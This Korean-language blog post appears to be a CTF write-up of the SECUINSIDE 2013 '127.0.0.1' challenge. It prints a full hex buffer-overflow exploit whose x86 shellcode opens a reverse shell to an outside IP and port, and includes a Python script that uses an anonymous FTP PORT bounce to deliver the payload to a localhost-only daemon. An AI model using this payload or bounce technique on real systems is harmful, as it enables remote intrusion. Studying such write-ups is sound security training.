본문 바로가기

Games/CTF

SECUINSIDE 2013 127.0.0.1

The criminals are at full open fire in the ravage. 

We suggest broadcasting corporations, banks, high valued organizations to close every connection from outside their networks.

Especially to let important services like databases to allow access from localhost.

Please, double-check your security status.


IP : 54.214.247.89

OS : ubuntu 13.04 32bit / no NX / no ASLR

http://war.secuinside.com/files/localonly_ubuntu


IP : 218.54.30.174

OS : centos 6.4 32bit / no NX / no ASLR

http://war.secuinside.com/files/localonly


[hint]

FTPD : TCP 21

LOCALONLY : TCP 3132


아주 간단한 버퍼오버플로우가 아래처럼 존재하는 데몬이 주어지는데, 문제는

127.0.0.1 으로부터의 접속만 받는다.



bp-0x58h 의 스택버퍼에 아래처럼 0x400 을 recv 받는다.

ASLR, NX 도 없다고한다.  아주쉬운 BOF 상황이다.



그러나 스택주소는 모르기때문에 1번의 ROP 를 거쳐야한다.


리턴주소부터 BOF 페이로드를 아래처럼 구사하면 2차 페이로드를

정확한 스택위치에 받은다음 실행시킬수있다.


1차 페이로드

[&recv][ &buf ][  fd  ][ &buf ][ size ][  0  ]


2차 페이로드 -> size 크기만큼의 원하는 쉘코드!!


먼저 1차 페이로드에서 recv 가 0x400 만큼 받으므로 이에 맞춰서 최종 exploit 을 구성하면 

아래와 같다. (BOF ~ 0x400 사이의 것들은 NOP sled + 쉘코드이다. 이는 recv 가 정확히 

0x400 을 한번에 수신하는 보장이 없기때문에 넣어둔 것이다, 또한 처음의 71 00 은

곧바로 q 명령을 데몬에게 줘서 빨리 리턴하게 하기위한것)

참고로 fd 번호가 accept 후 바로 fork 한다음 parent 쪽에서 이를 곧바로

close 하기때문에, 왠만하면 fd 번호가 4번으로 지정될 것이다

(OS 의 file descriptor 정책에따라 다를수있지만 평범한 리눅스는 close 한 fd 로

금방 다시 accept 한다)


최종 버퍼오버플로우 리모트쉘 익스플로잇 은 아래와 같다

(119.204.96.199 / 31337)

(recv 한번 거치고 정확한 주소로 리턴)


71 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

41 41 41 41 41 41 41 41 41 41 41 41 70 87 04 08

00 C0 04 08 04 00 00 00 00 C0 04 08 00 01 00 00

00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 6A 66 58 99 31 DB 43 52 6A 01 6A 02

89 E1 CD 80 96 6A 66 58 43 68 77 CC 60 C7 66 68

7A 69 66 53 89 E1 6A 10 51 56 89 E1 43 CD 80 87

F3 87 CE 49 B0 3F CD 80 49 79 F9 B0 0B 52 68 2F

2F 73 68 68 2F 62 69 6E 89 E3 52 89 E2 53 89 E1

CD 80 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 6A 66 58 99 31 DB 43 52 6A 01 6A 02 89 E1

CD 80 96 6A 66 58 43 68 77 CC 60 C7 66 68 7A 69

66 53 89 E1 6A 10 51 56 89 E1 43 CD 80 87 F3 87

CE 49 B0 3F CD 80 49 79 F9 B0 0B 52 68 2F 2F 73

68 68 2F 62 69 6E 89 E3 52 89 E2 53 89 E1 CD 80

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

6A 66 58 99 31 DB 43 52 6A 01 6A 02 89 E1 CD 80

96 6A 66 58 43 68 77 CC 60 C7 66 68 7A 69 66 53

89 E1 6A 10 51 56 89 E1 43 CD 80 87 F3 87 CE 49

B0 3F CD 80 49 79 F9 B0 0B 52 68 2F 2F 73 68 68

2F 62 69 6E 89 E3 52 89 E2 53 89 E1 CD 80 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 6A 66

58 99 31 DB 43 52 6A 01 6A 02 89 E1 CD 80 96 6A

66 58 43 68 77 CC 60 C7 66 68 7A 69 66 53 89 E1

6A 10 51 56 89 E1 43 CD 80 87 F3 87 CE 49 B0 3F

CD 80 49 79 F9 B0 0B 52 68 2F 2F 73 68 68 2F 62

69 6E 89 E3 52 89 E2 53 89 E1 CD 80 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 6A 66 58 99

31 DB 43 52 6A 01 6A 02 89 E1 CD 80 96 6A 66 58

43 68 77 CC 60 C7 66 68 7A 69 66 53 89 E1 6A 10

51 56 89 E1 43 CD 80 87 F3 87 CE 49 B0 3F CD 80

49 79 F9 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E

89 E3 52 89 E2 53 89 E1 CD 80 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 6A 66 58 99 31 DB

43 52 6A 01 6A 02 89 E1 CD 80 96 6A 66 58 43 68

77 CC 60 C7 66 68 7A 69 66 53 89 E1 6A 10 51 56

89 E1 43 CD 80 87 F3 87 CE 49 B0 3F CD 80 49 79

F9 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3

52 89 E2 53 89 E1 CD 80 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

6A 66 58 99 31 DB 43 52 6A 01 6A 02 89 E1 CD 80

96 6A 66 58 43 68 77 CC 60 C7 66 68 7A 69 66 53

89 E1 6A 10 51 56 89 E1 43 CD 80 87 F3 87 CE 49

B0 3F CD 80 49 79 F9 B0 0B 52 68 2F 2F 73 68 68

2F 62 69 6E 89 E3 52 89 E2 53 89 E1 CD 80


문제는 이것을 곧바로 데몬에게 날릴수가 없고 127.0.0.1 로부터
날려야 하는데, 힌트에 FTP 포트번호가 나와있다.

FTP Raw 명령들을 보다보니 PORT 라는 명령을 통해서
Active FTP 모드인 상태에서는 임의의 IP/PORT 로 파일을
전송시킬수가 있다.(설정에서 제한할수도 있겠지만)

따라서 시나리오는

1. 데몬서버의 FTP 에 Anonymous 로 접속
2. exploit 파일을 서버에 미리 올려둠
3. PORT 명령으로 127.0.0.1 로 파일을 데몬의 IP/PORT로 전송시킴
4. 리모트쉘이 터지기를 대기
5. 리모트쉘 획득.

ftp PORT 명령을 위한 파이썬 스크립트는 아래와 같다.

root@ubuntu:/var/www/secuinside# cat localonly.py 
from socket import *
import sys, os

csock = socket(AF_INET, SOCK_STREAM)
csock.connect(('54.214.247.89', 21))
#csock.connect(('127.0.0.1', 21))

print csock.recv(1024) # welcome msg
csock.send('USER anonymous\r\n')
print 'USER anonymous'

print csock.recv(1024) # 
csock.send('PASS a@a.a\r\n')
print 'PASS a@a.a'

print csock.recv(1024)
csock.send('PWD\r\n')
print 'PWD'

print csock.recv(1024)
csock.send('CWD /tmp/melt\r\n')
print 'CWD /tmp/melt'

print csock.recv(1024)
csock.send('PORT 127,0,0,1,12,60\r\n')
print 'PORT 127,0,0,1,12,60' #122, 105 : 31337

print csock.recv(1024)
csock.send('RETR exploit\r\n')
print 'RETR exploit'
print csock.recv(1024)
csock.close()

결과는 아래와같다.



리모트쉘쪽.




분명히 시나리오는 맞았는데 이상하게 리모트쉘이 계속 안떳었다

fd 가 틀렸을 가능성때문에 약간 브루트포싱이 필요하긴 하지만

로컬 테스트환경에서는 3~4번하면 1번 성공할정도로 잘만되는데

대회서버에서는 너무 안터졌다...


원인불명이라 포기하려했는데 nopsled 를 추가하고 좀더 하다보니 쉘이 떳다 -_-

아직도 정확한 원인은 불명이다 -_-; recv 가 0x400 을 한번에 수신 못한것이

원인이 아닐까 싶다...



'Games > CTF' 카테고리의 다른 글

HDCON 2013 level1  (0) 2013.06.11
SECUINSIDE 2013 reader  (0) 2013.05.28
SECUINSIDE 2013 givemeshell  (0) 2013.05.28
PlaidCTF 2013 ropasaurusrex  (5) 2013.04.23
JFF2 Hunter  (0) 2013.03.19